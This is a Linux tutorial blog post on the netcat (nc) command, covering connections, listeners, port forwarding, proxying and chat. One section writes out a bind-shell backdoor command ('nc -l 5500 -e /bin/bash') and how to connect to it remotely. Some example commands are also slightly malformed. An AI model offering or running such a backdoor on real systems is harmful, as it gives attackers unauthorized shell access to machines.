NC command is for performing maintenance/diagnosis tasks related to network . It can perform operations like read,write or data redirections over the network, similar to how you can use cat command to manipulate files on Linux system. Nc command can be used as a utility to scan ports, monitoring or can also act as a basic TCP proxy.
Organizations can utilize it to review their network security, web servers, telnet servers, mail servers and so on, by checking the ports that are opened and then secure them. NC command can also be used to capture information being sent by system.
Recommended Read : Top 7 commands for Linux Network Traffic Monitoring
Also Read : Important PostgreSQL commands you should know
Now let’s discuss how we can use NC command with some examples,
Examples for NC command
Connect to a remote server
Following example shows how we can connect to remote server with nc command,
$ nc 10.10.10.100 80
here, 10.10.10.100 is IP of the server we want to connect to & 80 is the port number for the remote server. Once connected we can perform some other functions like we can get the total page content with
GET/HTTP/1.1
or fetch page name,
GET/HTTP/1.1
or we can get banner for OS fingerprinting with the following,
HEAD/HTTP/1.1
This will let us know what software & version is being utilised to run the webserver.
Listen to inbound connection requests
To check a server for incoming connection request on a port number, use following example
$ nc -l 8080
Now NC is in listening mode to check port 8080 for incoming connection requests. Now listening mode will keep on running, until terminated manually. But we can address this option ‘w’ for NC,
$ nc -w 10 8080
here, 10 means NC will listen for connections for 10 seconds only.
Connecting to UDP ports
By default, we can connect to TCP ports with NC but to listen to incoming request made to UDP ports we have to use option ‘u’ ,
$ nc -l -u 55
Using NC for Port forwarding
With option ‘c’ of NC, we can redirect a port to another. Complete example is,
$ nc -u -l 8080 -c ' nc -u -l 8090'
here, we have forwarded all incoming requests from port 8080 to port 8090.
Using NC as Proxy server
To use NC command as a proxy, use
$ nc - l 8080 | nc 10.10.10.200 80
here, all incoming connections to port 8080 will be diverted to 10.10.10.200 server on port 80.
Now with the above command, we only created a one way passage. To create a return passage or 2 way communication channel, use the following commands,
$ mkfifo 2way
$ nc - l 8080 0<2way | nc 10.10.10.200 80 1>2way
Now you will have the capacity to send and get information over nc proxy.
Using NC as chat tool
Another utility that NC command can serve is as a chat tool. Yes we can also use it as a chat. To create it, first run the following command on one server,
$ nc - l 8080
Than to connect on remote machine, run
$ nc 10.10.10.100 8080
Now we can start conversation using the terminal/CLI.
Using NC to create a system backdoor
Now this one is the most common application of NC & is mostly used by hackers a lot. Basically this creates a backdoor to system which can be exploited by hackers (you should not be doing it, its wrong).
One must be aware of this as to safeguard against this kind of exploits.
Following command can be used to create a backdoor,
$ nc -l 5500 -e /bin/bash
here, we have attached port 5500 to /bin/bash, which can now be connected from a remote machine to execute the commands,
$ nc 10.10.10.100 5500
Force server to remain up
Server will stop listening for connection once a client connection has been terminated. But with option ‘k’, we can force a server to remain running, even when no client is connected.
$ nc -l -k 8080
We now end this tutorial on how to use NC command, please feel free to send in any questions or queries you have regarding this article.
If you think we have helped you or just want to support us, please consider these :-
Connect to us: Facebook | Twitter | Google Plus
Donate us some of your hard earned money: [paypal-donation]
Linux TechLab is thankful for your continued support.